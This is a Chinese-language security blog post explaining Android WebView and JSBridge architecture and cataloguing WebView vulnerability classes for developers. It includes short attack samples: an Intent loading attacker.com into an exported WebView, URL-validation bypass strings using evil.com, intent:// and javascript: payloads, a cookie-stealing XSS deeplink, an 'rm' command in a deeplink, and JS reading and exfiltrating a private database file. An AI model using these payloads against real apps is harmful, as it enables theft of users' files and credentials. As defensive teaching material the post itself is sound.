WebView安全实现(一)

本文作者:杉木@涂鸦智能安全实验室

Webview核心机制

Webview:承载 Web 内容的容器

WebView 是移动端(Android/iOS)提供的系统组件,用于在 App 内嵌入并渲染网页(HTML/CSS/JavaScript)

其核心功能包括:

  • 资源加载 :通过 loadUrl() 加载远程或本地资源(如 HTML/JS)。
  • JS 交互 :通过 @JavascriptInterface 注解暴露原生 API。
  • 隔离性:JavaScript 运行在独立的 JS Context 中,无法直接访问原生系统功能(如相机、文件系统)
  • 身份验证 :依赖 域名(Origin)子应用 ID(AppID)能力令牌(Capability) 控制权限(如图)。

JSBridge:连接 Web 与 Native 的通信桥梁

JSBridge 是一种基于协议或注入 API 的通信机制,通过 WebView 的接口实现 JavaScript 与原生代码的双向调用;

JSBridge 如何依赖 WebView 实现通信?

  1. WebView 提供通信基础
  • API 注入 (主流方式):WebView 通过接口将原生对象注入到 JS Context 中(如 Android 的 addJavascriptInterface,iOS 的 WKScriptMessageHandler),使 JavaScript 可直接调用原生方法。
  • URL Scheme 拦截 :WebView 拦截 JavaScript 发起的自定义协议请求(如 jsbridge://method?params),解析后执行原生逻辑。
  1. JSBridge 封装通信逻辑
  • 标准化协议:定义数据格式(如 JSON-RPC)和回调机制,简化调用流程。
  • 跨平台兼容 :封装 Android/iOS 的 WebView 差异,提供统一接口(如开源库 WebViewJavascriptBridge

系统和超级应用和子应用

了解完基础的概念,这里介绍一下系统框架,如图所示;

先描述一下图的内容,系统也就是整个图;超级应用是整个APP;子应用是包含但不仅限于WebView内容;

从下往上介绍了,嵌⼊的浏览器实例(也就是WebView)为⼦应⽤提供了⼀个隔离的环境;此类实例通常包含⼀个⾃定义的 worker 来加载和执⾏预定义的⼦应⽤代码。然后可以执行对应的API 以访问对各种资源,如⽤户数据、⽹络资料等,一般来说子应用之间的数据也是隔离的,但是这些资源也可以是当前APP的,当然无法是其他APP的,因为系统就限制了APP私有目录之间的访问。

然后web-to- mobile bridge其实也就是JSBridge,将⼦应⽤代码与原⽣ Java 代码连接起来,也就是前面介绍的内容了;所有 API 调⽤都封装成⼀个通过"addJavaScriptInterface"注册的调度⽅法发送到APP侧的消息。APP解析接收到的消息,找到相应的 API,检查权限,如果检查通过,则调⽤。

然后是上面部分内容,APP根据深链中的子应⽤ ID 找到⼦应⽤或者其他的方式,如路由、扫码等,但本质还是类似深链;从APP自己的应用市场下载⼀个js包。然后这里的子应用是根据实际的业务场景来取决,官方的会访问APP服务器,三方的会访问三方服务器、广告商等内容,而且也可以请求APP提供的API;
| 💡 有两个地方需要权限验证

  1. 当从⼦应⽤或第三⽅服务器获取⽹⻚内容并在 WebView 实例中渲染时,APP会检查获取的内容的身份(loadURL时要检验域名);
  2. 当 WebView 实例访问APP提供的 API 时,APP要根据子应用权限来验证是否具有调用相关API的权限;

WeView使用

这里以android为例,参考官方文档

WebView | API 参考 | Android 开发者

在 WebView 中构建 Web 应用 | Android Developers

先在xml中设置布局配置

xml 复制代码
<WebView
    android:id="@+id/webview"
    android:layout_width="match_parent"
    android:layout_height="match_parent"/>

在代码初始化和加载网页

java 复制代码
WebView webView = findViewById(R.id.webview);
// 启用基础功能(如JS支持)
WebSettings settings = webView.getSettings();
settings.setJavaScriptEnabled(true); 

// 加载远程URL
webView.loadUrl("https://example.com"); 
// 或加载本地HTML(assets目录)
webView.loadUrl("file:///android_asset/local.html"); [2,7](@ref)

网络权限声明

xml 复制代码
<uses-permission android:name="android.permission.INTERNET" />

WebView事件监听处理

java 复制代码
webView.setWebViewClient(new WebViewClient() {
    @Override
    public void onPageStarted(WebView view, String url, Bitmap favicon) {
        // 显示进度条
    }
    @Override
    public void onPageFinished(WebView view, String url) {
        // 隐藏进度条
    }
    @Override
    public boolean shouldOverrideUrlLoading(WebView view, String url) {
        // 拦截链接点击(返回false由WebView处理)
        return false;
    }
});

WebView和JS的交互

类型 调用方式 关键安全风险 最佳实践
Android调用JS loadUrl() 4.4以下设备兼容方案
evaluateJavascript() 4.4+设备首选(异步高效)
JS调用Android addJavascriptInterface() 4.2以下未注解方法可被恶意调用 所有方法添加 @JavascriptInterface
shouldOverrideUrlLoading() 协议解析缺陷可能导致XSS 严格校验Scheme和参数 (如白名单校验jsbridge://
onJsPrompt() 未过滤输入可能导致注入 过滤特殊字符 (如<, >

这里列举的关键安全风险是根据应用的开发人员角度来解析,或者说是google开发平台提供的针对开发人员安全开发的要求规范;

拿loadUrl()函数来举例,上面关键安全风险是没有,google开发者平台上WebView:不安全的 URI 加载 | Security | Android Developers提到"处理字符串 URI 时,请务必将字符串解析为 URI 并验证 scheme 和主机",简单说技术风险可规避,如安全使用白名单,代码侧通过安全解析传递的URI后再进行请求;但若是业务上需要把URI的配置交给用户(如一些toB的业务上),那这种情况要如何处理?后续会通过流程的角度来解析这类风险。

WebView常见风险

这里引用google官方对于WebView的相关风险以及跟WebView实现的场景可能相关的风险;

WebView - 不安全的文件包含 | Security | Android Developers

WebView -- Native bridges | Security | Android Developers

WebView:不安全的 URI 加载 | App quality | Android Developers

Cross-app scripting | Security | Android Developers

压缩路径遍历 | App quality | Android Developers

直接贴大佬整理好的WebView漏洞,而且大佬对于漏洞的复现测试非常详细,详细查看[原创]Android APP漏洞之战(13)------WebView漏洞详解-Android安全-看雪-安全社区|安全招聘|kanxue.com

我这里就简单总结一下;

一、私有文件窃取漏洞

1. 跨域文件读取(应用克隆攻击)

  • 触发条件setAllowFileAccess(true) + setAllowFileAccessFromFileURLs(true)setAllowUniversalAccessFromFileURLs(true)
  • 利用方式 :恶意JS通过AJAX读取私有文件(如file:///data/data/app_package/shared_prefs/config.xml

这部分具体也可以看我多年之前的漏洞分析;Android平台WebView控件存在跨域访问高危漏洞_webview组件跨域访问风险-CSDN博客

2. 移花接木(软链接劫持)

  • 触发条件 :仅开启 setAllowFileAccess(true)(默认开启)
  • 利用方式
    1. 诱导WebView访问攻击者可控的网页(如http://evil.com/mal.html);
    2. 在网页加载延迟期间,将文件替换为指向私有文件的软链接;
    3. WebView读取被替换的软链接,泄露私有文件内容。

这个漏洞复现参考Android安全检测-WebView File域同源策略绕过漏洞_webview file同源策略绕过漏洞-CSDN博客,在Android 7.0以上已修复;

3. 含沙射影(Cookies污染)

  • 触发条件setAllowFileAccess(true) + WebView可加载任意URL
  • 利用方式
    1. 通过恶意JS在Cookies中写入Payload;
    2. 构造软链接指向目标Cookies文件;
    3. 诱导WebView加载被污染的Cookies文件执行Payload。

这部分的具体漏洞利用可以参考Android-Webview中的漏洞利用总结 | CTF导航

官方提到的修复方案修复跨应用脚本漏洞 - Google帮助

二、URL校验绕过漏洞

1. 校验逻辑缺陷

  • 大小写绕过 :校验scheme时忽略大小写(如FiLe://替代file://)。
  • 域名闭合缺失endWith("trust.com") 可被 eviltrust.com 绕过。
  • 特殊字符注入
    • 利用\替换/(如http:/\evil.com),低版本WebView可解析;
    • 使用@符号绕过(如http://trust.com@evil.com)。

2. 协议混淆攻击

  • JavaScript协议绕过 :未校验scheme时,通过javascript:alert(1)执行任意代码。
  • Intent Scheme注入 :未过滤intent://协议,导致任意组件启动(如intent://#Intent;component=com.victim/.SecretActivity;end)。

3. 服务端跳转滥用

  • 白名单域名跳转 :若白名单内服务端存在开放重定向漏洞,攻击者可构造http://trust.com/redirect?url=http://evil.com绕过校验。

4. 竞争条件漏洞

  • 利用跳转时间差
    1. JS控制WebView跳转至白名单域名;
    2. 在页面未完全销毁前,快速调用特权接口(如getToken());
    3. 校验逻辑误判当前URL为可信域名,窃取敏感信息。

5. 白名单内域名过期

查看白名单内域名过期使用情况,如遇到白名单内域名过期,如解析已经失效或者提示需要购买等情况,攻击者可以购买对应域名后进行攻击行为;

这种属逻辑类型的问题很多都是根据实际的情况来分析,各种场景的情况都有,这里可以参考进行分析 3.URL配置漏洞

Android WebView URL检查绕过 | m4bln

三、Intent + WebView 漏洞

1. 导出组件恶意界面加载

  • 漏洞原理 当WebView所在的Activity组件被导出(android:exported=true)时,攻击者通过Intent传递恶意URL,诱导WebView加载钓鱼页面或窃取敏感数据。
  • 攻击步骤
java 复制代码
// 恶意应用构造攻击Intent
Intent exploit = new Intent();
exploit.setClassName("com.victim.app", "com.victim.app.WebActivity");
exploit.setData(Uri.parse("http://attacker.com/malicious.html"));
startActivity(exploit);
  • 实际危害 窃取WebView存储的密码(明文保存在webview.db)、Cookie、本地文件等。

2. Intent重定向导致LaunchAnyWhere

  • 漏洞原理可导出的Activity组件未校验Intent参数,导致攻击者构造重定向链访问私有组件:

    java 复制代码
    // 正常导出组件
    public class WebViewActivity extends Activity {
        protected void onCreate(Bundle savedInstanceState) {
            // 未校验Intent extras
            Intent privateIntent = getIntent().getParcelableExtra("redirect");
            startActivity(privateIntent); // 启动私有组件
        }
    }
  • 利用链

    携带恶意Intent 攻击者Intent 导出Activity 私有Activity 加载恶意WebView

  • 防护方案

    • 禁止导出非必要组件
    • 校验Intent.getAction()Intent.getData()

很多应用为了APP于APP之间的联动都有可被外部调用的Activity,而有些Activity可以传递Intent参数作为业务参数进行相关业务处理,当这些参数没有处理好的时候很容易出现相关问题,这里列出来的只是Intent + WebView 可能导致的问题;

1. 任意代码执行

  • 触发条件DeepLink未校验调用方包名,攻击者伪造合法应用包名:

    xml 复制代码
    <!-- 恶意App的AndroidManifest.xml -->
    <manifest package="com.target.app"> <!-- 伪装目标包名 -->
        <activity android:name=".EvilActivity">
            <intent-filter>
                <data android:scheme="victim" />
            </intent-filter>
        </activity>
    </manifest>
  • 执行路径victim://deeplink?cmd=rm+/data → 触发WebView执行系统命令

2. XSS注入漏洞

  • 攻击模式

    html 复制代码
    <!-- 恶意DeepLink载荷 -->
    <a href="victim://load?html=<script>alert(document.cookie)</script>">
        点击领取优惠券
    </
  • 利用场景 :通过WebView.loadDataWithBaseURL()加载未消毒的HTML

3. 组合漏洞利用

  • 典型攻击链

    1. DeepLink协议未校验 → 注入恶意JS
    2. JS调用隐藏API → 读取私有文件
    3. 符号链接绕过 → 窃取/data/data/[app]/databases
  • 实际案例

    jsx 复制代码
    // 恶意JS代码
    function stealData() {
        fetch('file:///data/data/com.victim/db')
          .then(data => exfiltrate(data)) 
    }

4. loadDataWithBaseURL漏洞

  • 高危场景

    java 复制代码
    // 攻击者控制baseURL和data参数
    webView.loadDataWithBaseURL(
        "https://trusted.com", 
        "<script>malicious()</script>", 
        "text/html", "UTF-8", null
    );
    • 结果:在trusted.com域下执行任意JS

deeplink+webview的攻击场景参考Android中的特殊攻击面(二)------危险的deeplink

限于篇幅,把安全方案设计放到下一篇讲。

参考

https://www.kanxue.com/chm.htm?id=18037

https://www.kanxue.com/chm.htm?id=19271

Android WebView URL检查绕过 | m4bln

Android-Webview中的漏洞利用总结 | CTF导航

Android安全检测-WebView File域同源策略绕过漏洞_webview file同源策略绕过漏洞-CSDN博客

sec22-zhang-lei.pdf

bbs.kanxue.com/article-14155.htm

漏洞悬赏计划:涂鸦智能安全响应中心(https://src.tuya.com)欢迎白帽子来探索。

相关推荐
恋猫de小郭42 分钟前
Flutter 发布官方 Skills ,Flutter 在 AI 领域再添一助力
android·前端·flutter
Kapaseker6 小时前
一杯美式搞懂 Any、Unit、Nothing
android·kotlin
黄林晴6 小时前
你的 Android App 还没接 AI?Gemini API 接入全攻略
android
恋猫de小郭16 小时前
2026 Flutter VS React Native ,同时在 AI 时代 VS Native 开发,你没见过的版本
android·前端·flutter
冬奇Lab17 小时前
PowerManagerService(上):电源状态与WakeLock管理
android·源码阅读
BoomHe1 天前
Now in Android 架构模式全面分析
android·android jetpack
codingWhat1 天前
小程序里「嵌」H5:一套完整可落地的 WebView 集成方案
前端·uni-app·webview
二流小码农1 天前
鸿蒙开发:上传一张参考图片便可实现页面功能
android·ios·harmonyos
鹏程十八少1 天前
4.Android 30分钟手写一个简单版shadow, 从零理解shadow插件化零反射插件化原理
android·前端·面试
Kapaseker1 天前
一杯美式搞定 Kotlin 空安全
android·kotlin